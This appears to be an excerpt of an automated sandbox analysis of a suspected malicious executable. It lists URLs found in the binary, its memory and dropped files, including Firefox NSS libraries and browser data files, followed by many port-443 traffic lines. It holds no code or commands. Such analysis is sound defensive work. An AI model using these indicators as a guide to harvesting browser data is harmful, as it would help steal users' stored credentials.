Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://open.spotify.com
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: chromecache_506.4.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://srtb.msn.com/
Source: CGDHDHJEBGHJKFIECBGCBGCAFI.0.dr	String found in binary or memory: https://support.mozilla.org
Source: CGDHDHJEBGHJKFIECBGCBGCAFI.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: CGDHDHJEBGHJKFIECBGCBGCAFI.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://tidal.com/
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://twitter.com/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://vibe.naver.com/today
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_canary_shoreline
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://web.telegram.org/
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://web.whatsapp.com
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: file.exe, 00000000.00000002.2736884745.0000000023F14000.00000004.00000020.00020000.00000000.sdmp, DHCGIDHDAKJECBFHCBAA.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://www.deezer.com/
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000002.2697626234.0000000001C15000.00000004.00000020.00020000.00000000.sdmp, AECAKECA.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: content_new.js.8.dr, content.js.8.dr	String found in binary or memory: https://www.google.com/chrome
Source: file.exe, 00000000.00000003.2475374366.0000000023EBF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2697626234.0000000001C15000.00000004.00000020.00020000.00000000.sdmp, AECAKECA.0.dr, CBFBGCGI.0.dr, Web Data.8.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 875c6bc4-0044-46b1-9b97-b67ca0193969.tmp.9.dr, c7e6d3e3-e840-42b0-8d27-6aace4e63d87.tmp.9.dr	String found in binary or memory: https://www.googleapis.com
Source: chromecache_506.4.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_506.4.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_506.4.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://www.iheart.com/podcast/
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://www.instagram.com
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://www.last.fm/
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://www.messenger.com
Source: CGDHDHJEBGHJKFIECBGCBGCAFI.0.dr	String found in binary or memory: https://www.mozilla.org
Source: CGDHDHJEBGHJKFIECBGCBGCAFI.0.dr	String found in binary or memory: https://www.mozilla.org#
Source: file.exe, 00000000.00000002.2695816091.0000000001064000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: CGDHDHJEBGHJKFIECBGCBGCAFI.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: file.exe, 00000000.00000002.2695816091.0000000001064000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: file.exe, 00000000.00000002.2695816091.0000000001147000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2695816091.0000000001064000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: file.exe, 00000000.00000002.2695816091.0000000001147000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/W1sYnpxLnB3ZA==
Source: CGDHDHJEBGHJKFIECBGCBGCAFI.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: CGDHDHJEBGHJKFIECBGCBGCAFI.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://www.office.com
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
Source: file.exe, 00000000.00000002.2736884745.0000000023F14000.00000004.00000020.00020000.00000000.sdmp, DHCGIDHDAKJECBFHCBAA.0.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://www.tiktok.com/
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://www.youtube.com
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://y.music.163.com/m/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50131 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 50119 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50132 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
